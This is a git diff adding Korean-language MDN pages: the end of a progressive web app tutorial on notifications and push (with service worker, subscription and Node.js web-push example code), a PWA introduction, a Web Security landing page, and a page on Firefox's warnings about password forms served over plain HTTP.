+<p>새로운 무작위 알림은 사용자가 너무 귀찮아 비활성화 하기 전까지는 매 30초마다 생성됩니다. (실제 앱에서는 알림이 너무 잦아선 안되며 더 유용해야합니다.) Notifications API의 이점은 운영체제의 알림 기능을 사용한다는 것입니다. 이는 사용자가 웹 앱을 보고있지않더라도 알림을 보여줄 수 있으며, 알림이 네이티브 앱에서 표시하는 것과 유사하다는 것을 의미합니다.</p>
+
+<h2 id="Push">Push</h2>
+
+<p>푸시는 알림보다 더 복잡합니다. 우리는 앱으로 데이터를 다시 전송해줄 서버를 구독해야합니다. 앱의 Service Worker는 푸시 서버로부터 데이터를 수신하며 알림 시스템 또는 원하는 경우 다른 메커니즘을 사용해 이를 보여줄 수 있습니다.</p>
+
+<p>이 기술은 여전히 아주 초기 단계에 있습니다. 몇몇 동작하는 예제들은 Google Cloude Messaging 플랫폼을 사용하지만, <a href="https://blog.mozilla.org/services/2016/08/23/sending-vapid-identified-webpush-notifications-via-mozillas-push-service/">VAPID</a>(자발적 어플리케이션 식별, Voluntary Application Identification)를 지원하도록 재작성되어 앱을 위한 부가적인 보안 계층을 제공합니다. <a href="https://serviceworke.rs/push-payload.html">Service Workers Cookbook examples</a>를 확인하고, <a href="https://firebase.google.com/">Firebase</a>를 사용하는 푸시 메시징 서버를 설정하거나, 여러분만의 서버(예제에서는 Node.js를 사용)를 구축해보시기 바랍니다.</p>
+
+<p>앞서 언급듯이, 푸시 알림을 수신하려면 service worker가 있어야 합니다. 이를 위한 기본적인 내용은 <a class="new" href="https://developer.mozilla.org/ko/docs/Web/Apps/Progressive/Offline_Service_workers" rel="nofollow">Service worker를 사용해 PWA를 오프라인에서 동작하게 만들기</a> 문서에서 이미 설명했습니다. Service worker 안에서 푸시 서비스 구독 메커니즘이 생성됩니다.</p>
+
+<pre class="brush: js">registration.pushManager.getSubscription() .then( /* ... */ );</pre>
+
+<p>사용자가 구독을 하기 시작하면, 서버로부터 푸시 알림을 받을 수 있습니다.</p>
+
+<p>서버사이드에서는 보안적인 이유로 전체 프로세스를 공개키와 비공개키를 사용하여 암호화해야 합니다. 모든 사람들이 앱을 사용하여 안전하지 않은 푸시 메시지를 보내도록 허용하는 것은 끔찍할 것입니다. 서버는 사용자가 구독했을 때 받은 모든 정보를 저장하므로 이 후 필요할 때 메시지를 보낼 수 있습니다.</p>
+
+<p>푸시 메시지를 수신하려면, Service Worker 파일에서 {{event("push")}}이벤트를 사용하면됩니다.</p>
+
+<pre class="brush: js">self.addEventListener('push', function(e) { /* ... */ });</pre>
+
+<p>데이터는 반환되어 알림으로 사용자에게 즉시 보여집니다. 예를 들어, 이는 사용자에게 무언가를 다시 알려주거나, 앱에서 사용 가능한 새로운 컨텐츠에 대해 알려주는데 사용할 수 있습니다.</p>
+
+<h3 id="푸시_예제">푸시 예제</h3>
+
+<p>푸시는 동작을 위해 서버 파트가 필요하므로, 정적인 파일의 호스팅만 제공하는 GitHub Pages에 호스팅된 js13kPWA 예제를 포함 할 수 없습니다. 이는 <a href="https://serviceworke.rs/">Service Worker Cookbook</a>에 모두 설명되어 있습니다. <a href="https://serviceworke.rs/push-payload.html">Push Payload 데모</a>를 확인하시기 바랍니다.</p>
+
+<p>이 데모는 세 파일을 포함하고 있습니다.</p>
+
+<ul>
+ <li><a href="https://github.com/mozilla/serviceworker-cookbook/blob/master/push-payload/index.js">index.js</a>, 앱의 소스 코드를 포함합니다</li>
+ <li><a href="https://github.com/mozilla/serviceworker-cookbook/blob/master/push-payload/server.js">server.js</a>, 서버 파트(Node.js로 작성됨)를 포함합니다</li>
+ <li><a href="https://github.com/mozilla/serviceworker-cookbook/blob/master/push-payload/service-worker.js">service-worker.js</a>, Service Worker 관련 코드를 포함합니다.</li>
+</ul>
+
+<p>이 모든 것들에 대해 확인해봅시다</p>
+
+<h4 id="index.js">index.js</h4>
+
+<p><code>index.js</code> 파일은 service worker를 등록하는 것으로 시작합니다.</p>
+
+<pre class="brush: js">navigator.serviceWorker.register('service-worker.js')
+.then(function(registration) {
+  return registration.pushManager.getSubscription()
+  .then(async function(subscription) {
+      // registration part
+  });
+})
+.then(function(subscription) {
+    // subscription part
+});</pre>
+
+<p><a href="https://mdn.github.io/pwa-examples/js13kpwa/">js13kPWA 데모</a>에서 봤던 service worker보다 조금 더 복잡합니다. 이 특정 케이스에서는, 등록한 후에 등록 객체를 사용해 구독하며, 그 후 구독 객체를 사용해 전체 프로세스를 완료합니다.</p>
+
+<p>등록 파트의 코드는 다음과 같습니다.</p>
+
+<pre class="brush: js">if(subscription) {
+    return subscription;
+}</pre>
+
+<p>사용자가 이미 구독했을경우, 구독 객체를 반환하며 구독 파트로 이동합니다. 그렇지 않을 경우 새로운 구독을 초기화합니다.</p>
+
+<pre class="brush: js">const response = await fetch('./vapidPublicKey');
+const vapidPublicKey = await response.text();
+const convertedVapidKey = urlBase64ToUint8Array(vapidPublicKey);</pre>
+
+<p>앱은 서버의 공개 키를 패치하고 응답을 텍스트로 변환합니다. 그 후 Uint8Array(Chrome 지원을 위해)로 변환이 필요합니다. VAPID 키에 대한 자세한 내용은 <a href="https://blog.mozilla.org/services/2016/08/23/sending-vapid-identified-webpush-notifications-via-mozillas-push-service/">Sending VAPID identified WebPush Notifications via Mozilla’s Push Service</a> 블로그 포스트를 읽어보시기 바랍니다.</p>
+
+<p>앱은 이제 새로운 사용자를 구독하기 위해 {{domxref("PushManager")}}를 사용합니다. 두 옵션이 {{domxref("PushManager.subscribe()")}} 메소드로 전달됩니다. 첫 번째는 <code>userVisibleOnly: true</code>이며 사용자에게 전송되는 모든 알림이 보여진다는 것을 의미하며, 두 번째 것은 <code>applicationServerKey</code>이며 성공적으로 획득하고 변환된 VAPID 키를 포함합니다.</p>
+
+<pre class="brush: js">return registration.pushManager.subscribe({
+    userVisibleOnly: true,
+    applicationServerKey: convertedVapidKey
+});</pre>
+
+<p>이제 구독 파트로 이동해봅시다. 앱은 Fetch를 사용해 먼저 서버로 JSON으로 된 구독 상세 정보를 전송합니다.</p>
+
+<pre class="brush: js">fetch('./register', {
+    method: 'post',
+    headers: {
+        'Content-type': 'application/json'
+    },
+    body: JSON.stringify({
+        subscription: subscription
+    }),
+});</pre>
+
+<p>그 다음 <em>구독</em> 버튼의 {{domxref("onclick","GlobalEventHandlers.onclick")}}이 정의됩니다.</p>
+
+<pre class="brush: js">document.getElementById('doIt').onclick = function() {
+    const payload = document.getElementById('notification-payload').value;
+    const delay = document.getElementById('notification-delay').value;
+    const ttl = document.getElementById('notification-ttl').value;
+
+    fetch('./sendNotification', {
+        method: 'post',
+        headers: {
+            'Content-type': 'application/json'
+        },
+        body: JSON.stringify({
+            subscription: subscription,
+            payload: payload,
+            delay: delay,
+            ttl: ttl,
+        }),
+    });
+};</pre>
+
+<p>버튼이 클릭되면, <code>fetch</code>는 제공된 파라미터를 사용해 서버로 알림을 전송합니다. <code>payload</code>는 알림에 표시될 텍스트이고, <code>delay</code>는 알림이 보여질 때 까지의 지연 시간을 정의하며, <code>ttl</code>은 지정된 시간(초 단위로도 정의됨)동안 서버에서 알림을 사용할 수 있게하는 time-to-live 설정입니다.</p>
+
+<p>이제, 다음 JavaScript 파일로 넘어갑니다.</p>
+
+<h4 id="server.js">server.js</h4>
+
+<p>서버 파트는 Node.js로 작성되었으며 어딘가 적합한 곳에 호스팅되어야 합니다. 이는 완전히 다른 문서의 주제입니다. 여기에서는 높은 수준의 개요만 제공합니다.</p>
+
+<p><a href="https://www.npmjs.com/package/web-push">web-push 모듈</a>은 VAPID 키를 설정하기 위해 사용되며, 존재하지 않을 경우 선택적으로 생성합니다.</p>
+
+<pre class="brush: js">const webPush = require('web-push');
+
+if (!process.env.VAPID_PUBLIC_KEY || !process.env.VAPID_PRIVATE_KEY) {
+  console.log("You must set the VAPID_PUBLIC_KEY and VAPID_PRIVATE_KEY "+
+    "environment variables. You can use the following ones:");
+  console.log(webPush.generateVAPIDKeys());
+  return;
+}
+
+webPush.setVapidDetails(
+  'https://serviceworke.rs/',
+  process.env.VAPID_PUBLIC_KEY,
+  process.env.VAPID_PRIVATE_KEY
+);
+</pre>
+
+<p>그 다음, 모듈은 앱이 처리해야할 모든 라우트(VAPID 공개 키 얻기, 등록 후 알림 보내기)를 정의하고 내보냅니다. <code>index.js</code> 파일에서 사용중인 <code>payload</code>, <code>delay</code>, <code>ttl</code> 변수를 볼 수 있습니다.</p>
+
+<pre class="brush: js">module.exports = function(app, route) {
+  app.get(route + 'vapidPublicKey', function(req, res) {
+    res.send(process.env.VAPID_PUBLIC_KEY);
+  });
+
+  app.post(route + 'register', function(req, res) {
+
+    res.sendStatus(201);
+  });
+
+  app.post(route + 'sendNotification', function(req, res) {
+    const subscription = req.body.subscription;
+    const payload = req.body.payload;
+    const options = {
+      TTL: req.body.ttl
+    };
+
+    setTimeout(function() {
+      webPush.sendNotification(subscription, payload, options)
+      .then(function() {
+        res.sendStatus(201);
+      })
+      .catch(function(error) {
+        console.log(error);
+        res.sendStatus(500);
+      });
+    }, req.body.delay * 1000);
+  });
+};</pre>
+
+<h4 id="service-worker.js">service-worker.js</h4>
+
+<p>마지막으로 살펴볼 파일은 service worker입니다.</p>
+
+<pre class="brush: js">self.addEventListener('push', function(event) {
+    const payload = event.data ? event.data.text() : 'no payload';
+    event.waitUntil(
+        self.registration.showNotification('ServiceWorker Cookbook', {
+            body: payload,
+        })
+    );
+});</pre>
+
+<p>이 모든 것은 {{event("push")}} 이벤트에 리스너를 추가하고, 데이터로부터 받은 텍스트로 구성된 payload 변수를 생성한 후(또는 데이터가 비어있을 경우 사용할 문자열을 생성), 사용자에게 보여줄 알림을 보여줄 때까지 기다립니다.</p>
+
+<p><a href="https://serviceworke.rs/">Service Worker Cookbook</a> 예제의 나머지 부분의 동작 방법도 자유롭게 살펴보시기 바랍니다. <a href="https://github.com/mozilla/serviceworker-cookbook/">전체 소스 코드는 GitHub에서 사용 가능합니다</a>. 일반적인 사용과 웹 푸시, 캐싱 전략, 성능, 오프라인 동작 등을 보여주는 동작 예제가 많이 있습니다.</p>
+
+<h2 id="결론">결론</h2>
+
+<p>이것이 튜토리얼 시리즈의 전부입니다. <a href="https://github.com/mdn/pwa-examples/tree/master/js13kpwa">js13kPWA 예제 앱의 소스 코드</a>를 살펴봤으며 <a href="/ko/docs/Web/Apps/Progressive/Introduction">소개</a>, <a href="/ko/docs/Web/Apps/Progressive/App_structure">PWA 구조</a>, <a href="/ko/docs/Web/Apps/Progressive/Offline_Service_workers">Service Worker를 사용한 오프라인 기능</a>, <a href="https://developer.mozilla.org/ko/docs/Web/Apps/Progressive/Installable_PWAs">설치 가능한 PWA</a> 그리고 마지막으로 알림을 포함해 프로그레시브 웹 앱의 기능의 사용에 대해 배웠습니다. 또한 <a href="https://serviceworke.rs/">Service Worker Cookbook</a>의 도움으로 푸시에 대해서도 설명했습니다.</p>
+
+<p>코드를 실험해보시고, 여러분의 앱을 PWA 기능으로 개선하거나, 완전히 새로운 무언가를 구축해 보세요. PWA는 일반 웹 앱에 비해 큰 이점을 제공합니다.</p>
+
+<p>{{PreviousMenu("Web/Apps/Progressive/Installable_PWAs", "Web/Apps/Progressive")}}</p>
diff --git a/files/ko/web/progressive_web_apps/소개/index.html b/files/ko/web/progressive_web_apps/소개/index.html
new file mode 100644
index 0000000000..e253c96ce9
--- /dev/null
+++ b/files/ko/web/progressive_web_apps/소개/index.html
@@ -0,0 +1,92 @@
+---
+title: 프로그레시브 웹 앱 소개
+slug: Web/Progressive_web_apps/소개
+tags:
+  - PWA
+  - js13kGames
+  - 소개
+  - 프로그레시브
+  - 프로그레시브 웹 앱
+translation_of: Web/Progressive_web_apps/Introduction
+---
+<div>{{NextMenu("Web/Apps/Progressive/App_structure", "Web/Apps/Progressive")}}</div>
+
+<p class="summary">이 문서는 프로그레시브 웹 앱(PWA)의 소개입니다. PWA가 무엇이고 일반 웹 앱에 어떤 이점을 가져다주는지 설명합니다.</p>
+
+<h2 id="프로그레시브_웹_앱이_무엇인가요">프로그레시브 웹 앱이 무엇인가요?</h2>
+
+<p>PWA는 웹과 네이티브 앱의 기능 모두의 이점을 갖도록 수 많은 특정 기술과 표준 패턴을 사용해 개발된 웹 앱입니다.</p>
+
+<p>예를 들어, 웹 앱은 발견이 쉽습니다 — 어플리케이션을 설치하는 것보다 웹사이트에 방문하는 것이 훨씬 쉽고 빠르며, 링크로 웹 앱을 공유할수도 있습니다.</p>
+
+<p>반면에, 네이티브 앱은 운영체제와 보다 잘 통합되므로 더 부드러운 사용자 경험을 제공할 수 있습니다. 네이티브 앱은 설치할 수 있으므로 오프라인에서 동작하며, 사용자는 홈 화면의 아이콘을 탭하여 브라우저를 사용하여 이동하는 것보다 선호하는 앱에 더 쉽게 접근할 수 있습니다.</p>
+
+<p>PWA는 이들과 동일한 이점을 즐길 수 있는 웹 앱을 생성하는 능력을 제공합니다.</p>
+
+<p>완전히 새로운 개념은 아닙니다 — 이런 아이디어는 과거에 다양한 접근 방법으로 웹 플랫폼상에서 여러번 재검토되었습니다. 점진적인 향상과 반응형 디자인은 이미 우리가 모바일 친화적인 웹사이트를 구축할 수 있게 해주고 있습니다. 오프라인에서 동작하는 것과 앱을 설치하는 것은 몇 년 전 Firefox OS 생태계에서 이미 가능했었습니다.</p>
+
+<p>하지만, PWA는 웹을 훌륭하게 만드는 이미 존재하는 어떤 기능도 제거하지 않은 상태로 이 모든 것 그리고 그 이상을 제공합니다.</p>
+
+<h2 id="앱을_PWA로_만드는_것은_무엇인가요">앱을 PWA로 만드는 것은 무엇인가요?</h2>
+
+<p>위에서 암시했듯이, PWA는 하나의 기술로 생성된 것이 아닙니다. 이는 일부 특정 패턴, API 및 다른 기능들을 포함하는 웹 앱을 구축하는 하나의 새로운 철학을 나타냅니다. 첫눈에 웹 앱이 PWA인이 아닌지 구분하기는 쉽지 않습니다. 앱이 특정 요구 사항을 만족하거나 다음 기능들이 구현되었을 때 PWA라고 볼 수 있습니다: 오프라인에서 동작, 설치가 가능, 쉬운 동기화, 푸시 알림, 등.</p>
+
+<p>게다가, 앱의 완성도를 퍼센트로 측정하는 도구들도 있습니다. (<a href="https://developers.google.com/web/tools/lighthouse/">Lighthouse</a>가 현재 가장 유명합니다.) 다양한 기술적 이점을 구현함으로써, 앱을 더 점진적이게 만들 수 있고, 더 높은 Lighthouse 점수를 받을 수 있습니다. 하지만 이는 대략적인 지표일뿐입니다.</p>
+
+<p>다음은 웹 앱을 PWA로 식별되기 위해 확인해야 하는 몇 가지 핵심 원칙입니다.</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/ko/Apps/Progressive/Advantages#Discoverable">발견 가능</a>, 따라서 컨텐츠를 검색 엔진을 통해 찾을 수 있습니다.</li>
+ <li><a href="https://developer.mozilla.org/ko/Apps/Progressive/Advantages#Installable">설치 가능</a>, 따라서 기기의 홈 화면에서 사용할 수 있습니다.</li>
+ <li><a href="https://developer.mozilla.org/ko/Apps/Progressive/Advantages#Linkable">연결 가능</a>, 따라서 간단하게 URL을 전송해 공유할 수 있습니다.</li>
+ <li><a href="https://developer.mozilla.org/ko/Apps/Progressive/Advantages#Network_independent">네트워크 독립적</a>, 따라서 오프라인이나 불안한 네트워크 연결에서 동작합니다.</li>
+ <li><a href="https://developer.mozilla.org/ko/Apps/Progressive/Advantages#Progressive">점진적</a>, 따라서 최신 브라우저의 모든 기능은 사용할 수 없지만 이전 브라우저의 기본 기능은 여전히 사용할 수 있습니다.</li>
+ <li><a href="https://developer.mozilla.org/ko/Apps/Progressive/Advantages#Re-engageable">재 참여 가능(Re-engageable)</a>, 따라서 새 컨텐츠가 사용 가능할 때마다 알림을 보낼 수 있습니다.</li>
+ <li><a href="https://developer.mozilla.org/ko/Apps/Progressive/Advantages#Responsive">반응형</a>, 따라서 모든 기기의 화면이나 브라우저에서 사용할 수 있습니다 — 모바일 폰, 태블릿, 노트북, TV, 냉장고, 등.</li>
+ <li><a href="https://developer.mozilla.org/ko/Apps/Progressive/Advantages#Safe">안전</a>, 따라서 여러분과 앱 사이의 연결이 여러분의 민감한 데이터에 접근하려는 모든 제3자로부터 안전합니다.</li>
+</ul>
+
+<h3 id="이_모든_것들을_할만한_가치가_있나요">이 모든 것들을 할만한 가치가 있나요?</h3>
+
+<p>물론입니다! 비교적 적은 노력으로 PWA 핵심 기능들을 구현할 수 있으며, 그 이점은 거대합니다. 예를 들면:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Service_Worker_API">Service Workers</a> 를 사용한 캐싱 덕분에 앱을 설치한 후에 로딩 시간이 줄어들어 소중한 데이터와 시간을 절약.</li>
+ <li>앱 업데이트가 있을 때 변경된 컨텐츠만 업데이트 할 수 있음. 반면, 네이티브 앱의 경우, 아주 작은 수정에도 사용자가 어플리케이션 전체를 다시 다운로드하도록 강제함.</li>
+ <li>네이티브 플랫폼에 보다 통합된 외관과 느낌 — 홈 화면의 앱 아이콘, 전체 화면으로 실행되는 앱, 등.</li>
+ <li>시스템 알림 및 푸시 메시지를 통한 사용자의 재 참여. 참여율이 높은 사용자와 더 나은 전환율을 이끌어 냄.</li>
+</ul>
+
+<p>PWA 라우트를 시도하고 네이티브 앱 보다 더 향상된 웹 사이트 경험을 선택하여 측정 가능한 의미있는 이득을 본 회사들의 성공 스토리가 많습니다. <a href="https://www.pwastats.com/">PWA Stats</a> 웹 사이트는 이러한 이점을 나타내는 많은 사례 연구들을 공유합니다.</p>
+
+<p>가장 잘 알려진 성공 스토리는 아마 <a href="https://stories.flipkart.com/flipkart-lite/">Flipkart Lite</a> 일 것입니다 — 2015년에 프로그레시브 웹 앱으로 사이트를 재구축해 전환율을 70% 상승시킨 인도의 가장 큰 전자 상거래 사이트입니다. <a href="https://m.aliexpress.com/">AliExpress</a> PWA 역시 새로운 사용자에 대한 전환율을 104% 상승시키는 것으로 웹이나 네이티브 앱보다 훨씬 더 나은 결과를 보였습니다. 이윤 증가 및 PWA로 전환을 위해 상대적으로 적은 양의 작업을 놓고 봤을 때, 이점은 분명합니다.</p>
+
+<p>더 많은 예제는 <a href="https://pwa.rocks/">pwa.rocks</a> 의 목록에서 확인하시기 바랍니다. <a href="https://hnpwa.com/">hnpwa.com</a> 페이지는 특별히 언급할 가치가 있습니다 — 여기에는 일반적인 TodoMVC 앱 대신 다양한 프론트엔드 프레임워크의 사용을 볼 수 있는 Hacker News 웹사이트의 구현 예제가 나열되어 있습니다.</p>
+
+<p>심지어 <a href="https://www.pwabuilder.com/">PWABuilder</a> 웹사이트를 사용해 PWA를 온라인에서 생성할수도 있습니다.</p>
+
+<p>Service worker와 푸시에 관련된 정보는 최신 사이트에서 service worker를 사용하는 예제를 모아둔 <a href="https://serviceworke.rs/">Service Worker Cookbook</a>을 확인하시기 바랍니다.</p>
+
+<p>PWA 접근은 시도해볼만한 가치가 있으며, 여러분의 앱에서 동작하는지 스스로 확인해보시기 바랍니다.</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>앞서 언급했듯이, PWA는 하나의 API에 의존하지 않고, 가능한 최고의 웹 경험을 전달하기 위한 목표를 달성하기 위해 다양한 기술들을 사용합니다.</p>
+
+<p>PWA를 위해 요구되는 핵심 요소는 <a href="/ko/docs/Web/API/Service_Worker_API">service worker</a> 지원입니다. 고맙게도 service worker는 현재 데스크탑 및 모바일의 <a href="https://jakearchibald.github.io/isserviceworkerready/">모든 주요 브라우저에서 지원됩니다</a>.<a href="https://jakearchibald.github.io/isserviceworkerready/"> </a></p>
+
+<p><a href="/ko/docs/Web/Manifest">웹 앱 Manifest</a>, <a href="/ko/docs/Web/API/Push_API">푸시</a>, <a href="/ko/docs/Web/API/Notifications_API">알림</a>, <a href="/ko/docs/Web/Apps/Progressive/Add_to_home_screen">홈 화면에 추가</a> 기능과 같은 다른 기능들도 널리 지원되고 있습니다. 현재 Safari에서는 웹 앱 Manifest 및 홈 화면에 추가에 지원이 제한적이며 웹 푸시 알림은 지원하지 않습니다. 반면, 다른 주요 브라우저에서는 이 모든 기능들을 지원합니다.</p>
+
+<p>이러한 API의 일부는 실험중이며 문서도 여전히 완성되지 않았지만, Flipkart 와 AliExpress와 같은 성공 스토리를 보면 여러분의 웹 앱에 PWA 기능의 일부를 시도하고 구현하는 것에 대해 이미 납득이 되었을것입니다.</p>
+
+<p>무엇보다도 여러분은 프로그레시브 향상 규칙을 따라야 합니다 — 이러한 향상을 제공하는 기술들은 지원이 되는 경우에만 사용하고, 그렇지 않은 경우에도 여전히 기본 기능을 제공하시기 바랍니다. 이 방법으로 모든 사용자가 앱을 사용할 수 있지만, 최신 브라우저를 사용하는 사용자는 PWA 기능으로부터 더 많은 이점을 얻을 수 있습니다.</p>
+
+<h2 id="예시_어플리케이션">예시 어플리케이션</h2>
+
+<p>이 문서 시리즈에서는 <a href="http://2017.js13kgames.com/">js13kGames 2017</a> 대회의 <a href="http://js13kgames.com/aframe">A-Frame 카테고리</a>에 제출된 게임에 대한 정보를 나열하는 아주 간단한 웹사이트의 소스코드를 살펴볼 것입니다. 여러분은 웹 사이트의 실제 컨텐츠가 무엇인지에 대해서는 생각할 필요가 없습니다 — 중요한 점은 여러분의 프로젝트에 PWA 기능을 어떻게 사용하는지를 배우는 것입니다.</p>
+
+<p>온라인 버전은 <a href="https://mdn.github.io/pwa-examples/js13kpwa/">mdn.github.io/pwa-examples/js13kpwa</a> (<a href="https://github.com/mdn/pwa-examples/tree/master/js13kpwa">소스 코드도 확인하세요</a>)에서 확인하실 수 있으며, 다음 몇 가지 문서에서 자세히 설명할 것입니다.</p>
+
+<p>이제, 우리의 예제 앱의 구조에 대해 살펴볼 이 시리즈의 두 번째 파트로 이동합시다.</p>
+
+<p>{{NextMenu("Web/Apps/Progressive/App_structure", "Web/Apps/Progressive")}}</p>
diff --git a/files/ko/web/security/index.html b/files/ko/web/security/index.html
new file mode 100644
index 0000000000..eaebaf999e
--- /dev/null
+++ b/files/ko/web/security/index.html
@@ -0,0 +1,24 @@
+---
+title: 웹 보안
+slug: Web/Security
+tags:
+  - Landing
+  - NeedsTranslation
+  - Security
+  - TopicStub
+  - Web
+translation_of: Web/Security
+---
+<p><span class="seoSummary">웹 사이트 및 OWA(open web application)의 보안을 유지하는것은 중요합니다. 심지어 코드의 간단한 버그조차도 개인 정보를 유출시킬 수 있습니다. 또한 나쁜 사람들이 데이터를 훔치는 방법을 연구하고 있습니다. 여기에 나열된 웹 보안 관련 기사는 공격 및 데이터 절도로부터 사이트와 코드를 보호하는데 도움이 되는 정보를 제공합니다.</span></p>
+
+<p>{{LandingPageListSubpages}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://lists.mozilla.org/listinfo/dev-security">Mozilla mailing list</a></li>
+ <li><a href="https://blog.mozilla.com/security/">Blog</a></li>
+ <li><a href="https://twitter.com/mozsec">@mozsec on Twitter</a></li>
+</ul>
+
+<p>{{QuickLinksWithSubpages}}</p>
diff --git a/files/ko/web/security/insecure_passwords/index.html b/files/ko/web/security/insecure_passwords/index.html
new file mode 100644
index 0000000000..ddc9f66fa2
--- /dev/null
+++ b/files/ko/web/security/insecure_passwords/index.html
@@ -0,0 +1,67 @@
+---
+title: 안전하지 않은 비밀번호
+slug: Web/Security/Insecure_passwords
+translation_of: Web/Security/Insecure_passwords
+---
+<p>HTTP를 통한 로그인 양식은 특히 사용자의 비밀번호를 추출하는데 사용할 수 있는 다양한 종류의 공격으로 인해 위험합니다. 네트워크 도청자는 네트워크를 스니핑하거나 전송되는 페이지를 수정하여 사용자의 비밀번호를 도용할 수 있습니다. 이 페이지는 안전하지 않은 비밀번호와 비밀번호 도용을 둘러싼 위험을 사용자와 개발자에게 경고하기 위해 Firefox가 마련한 보안 메커니즘에 대해 자세히 설명합니다.</p>
+
+<p><a href="https://mdn.mozillademos.org/files/5951/insecure_page2_with_arrows_cropped.jpeg" title="https://en.wikipedia.org/wiki/HTTP_Secure">HTTPS</a> 프로토콜은 사용자 데이터를 도청(기밀성)하거나 네트워크에 수정(무결성)을 가하는 것으로부터 보호하도록 설계되었습니다. 사용자 데이터를 처리하는 웹사이트는 HTTPS를 사용하여 공격자로부터 사용자를 보호해야 합니다. 웹사이트에서 HTTP 대신 HTTPS를 사용하는 경우 사용자 정보(예 : 로그인 자격 증명)를 훔치는 일은 쉽지 않습니다. 이것은 <a href="https://codebutler.github.io/firesheep/" title="http://codebutler.com/firesheep/">Firesheep</a>에 의해 유명하게 시연되었습니다.</p>
+
+<p>이 문제를 해결하려면 서버에 SSL/TLS 인증서를 설치하고 구성하십시오. 무료 및 유료 인증서를 제공하는 다양한 공급 업체가 있습니다. 클라우드 플랫폼을 사용하는 경우 HTTPS를 사용하는 고유한 방법이 있을 수 있습니다.</p>
+
+<h2 id="Firefox_비밀번호_보안_표시기">Firefox 비밀번호 보안 표시기</h2>
+
+<p>위에서 설명한 위협을 알리기 위해서, Firefox는 많은 경고 메커니즘을 구현합니다.</p>
+
+<ol>
+ <li>
+  <p>Firefox 51버전부터는 로그인 페이지에 보안 연결이 없는 경우, 아래와 보이는 것과 같은 주소 표시줄에 빨간색으로 취소 표시가 있는 잠금 아이콘을 표시합니다.</p>
+
+  <p style="text-align: center;"><img alt="Lock Icon" src="https://support.cdn.mozilla.net/media/uploads/gallery/images/2015-11-17-12-13-18-2faa61.png" style="height: 25px; width: 25px;"></p>
+ </li>
+ <li>
+  <p>Firefox 52버전부터는 URL 표시줄과 안전하지 않은 양식의 선택된 비밀번호 필드 아래에 명확한 경고를 표시합니다.</p>
+
+  <p style="text-align: center;"><img alt="Warning" src="https://support.cdn.mozilla.net/media/uploads/gallery/images/2017-04-21-23-52-53-ba340d.png" style="height: 133px; width: 328px;"></p>
+ </li>
+ <li>
+  <p>Firefox 52버전부터는 안전하지 않은 로그인 양식에 대한 자동 채우기도 비활성화했습니다. 사용자는 저장된 로그인 정보를 드롭다운 목록에서 수동으로 완료할 수 있습니다.</p>
+ </li>
+ <li>
+  <p>안전하지 않은 로그인 양식에 대한 경고는 다음 섹션에서 설명하는 것처럼 모든 Firefox 릴리스의 개발자 콘솔 보안창에서 찾을 수 있습니다.</p>
+ </li>
+</ol>
+
+<h2 id="웹_콘솔_메시지"><strong>웹 콘솔 메시지</strong></h2>
+
+<p>이 섹션에서는 안전하지 않은 비밀번호에 대한 응답으로 Firefox DevTools의 개발자 콘솔에 표시되는 보안 메시지에 대해 설명합니다.</p>
+
+<h3 id="HTTP를_통한_로그인_양식_제공">HTTP를 통한 로그인 양식 제공</h3>
+
+<p>Form action이 HTTPS URL 인 경우에도 공격자는 사용자가 받을 페이지에 수정을 가할 수 있으므로 사용자의 로그인 양식이 보호되지 않습니다 (예 : 공격자가 form의 목적지를 변경하여 중요한 데이터를 공격자가 제어하는 서버로 보내거나, 사용자가 비밀번호를 입력할 때 비밀번호를 도용하는 키로깅 스크립트를 삽입할 수 있습니다). 웹 콘솔의 보안 탭은 개발자와 사용자에게 보안 문제에 대해 경고합니다.</p>
+
+<p style="text-align: center;"><img alt="Insecure login form shown with the Web Console and contextual warning on the password field." src="https://mdn.mozillademos.org/files/14783/Insecure_Password_Console_Contextual_sm.png" style="height: 566px; width: 790px;"></p>
+
+<div class="note">
+<p><strong>주의</strong> : HTTP 문서에 HTTPS 로그인 페이지를 포함시키는 것도 안전하지 않습니다. 공격자는 악의적인 사이트를 가리키도록 프레임 URL을 변경할 수 있습니다.</p>
+</div>
+
+<h3 id="Form_action_에_HTTP_URL_사용"><strong>Form action 에  HTTP URL 사용</strong></h3>
+
+<p>이 경우 사용자가 입력하는 모든 데이터는 네트워크를 통해 일반 텍스트로 전송됩니다. 사용자의 비밀번호가 사용자의 컴퓨터를 떠나서 웹사이트의 서버에 도달할 때까지 네트워크를 스니핑하는 누구든 사용자의 비밀번호를 볼 수 있습니다.</p>
+
+<p style="text-align: center;"><img alt="Insecure login form action shown with the Web Console and contextual warning on the password field." src="https://mdn.mozillademos.org/files/14785/Insecure_Action_Password_Console_Contextual_sm.png" style="height: 566px; width: 790px;"></p>
+
+<h2 id="비밀번호_재사용에_대한_주의사항">비밀번호 재사용에 대한 주의사항</h2>
+
+<p>가끔씩 웹사이트는 사용자이름과 비밀번호를 요구하지만 실제로는 매우 민감한 데이터는 저장하지 않습니다. 예를 들어, 뉴스 사이트는 사용자가 돌아가서 읽고 싶어하는 뉴스 기사를 저장할 수 있지만 사용자에 대한 다른 데이터는 저장하지 않을 수 있습니다. 뉴스 사이트의 웹 개발자는 자신의 사이트와 사용자 자격 증명을 확보하려는 동기가 적을 수 있습니다.</p>
+
+<p>불행하게도 <a href="https://www.lightbluetouchpaper.org/2011/02/09/measuring-password-re-use-empirically/">비밀번호 재사용은 큰 문제입니다.</a> 사용자는 여러 사이트(뉴스 웹사이트, 소셜 네트워크, 이메일 제공 업체, 은행)에서 동일한 비밀번호를 사용합니다. 따라서 사용자이름과 비밀번호로 사이트에 접근하는 것이  큰 위험으로 보이지 않더라도 동일한 사용자이름과 비밀번호를 사용하여 은행 계좌에 로그인한 사용자에게는 큰 위험이 따릅니다. 공격자가 점점 더 똑똑해지고 있습니다. 그들은 한 사이트에서 사용자이름/암호 쌍을 훔친 다음 더 수익성있는 사이트에서 다시 사용하려고 시도합니다.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li class="entry-title"><a href="https://blog.mozilla.org/tanvi/2016/01/28/no-more-passwords-over-http-please/">HTTP를 통한 비밀번호는 더 이상 안됩니다, 제발!</a> — 더 자세한 정보와 FAQ를 가진 블로그.</li>
+</ul>
+
+<p class="entry-title">{{QuickLinksWithSubpages("/en-US/docs/Web/Security")}}</p>
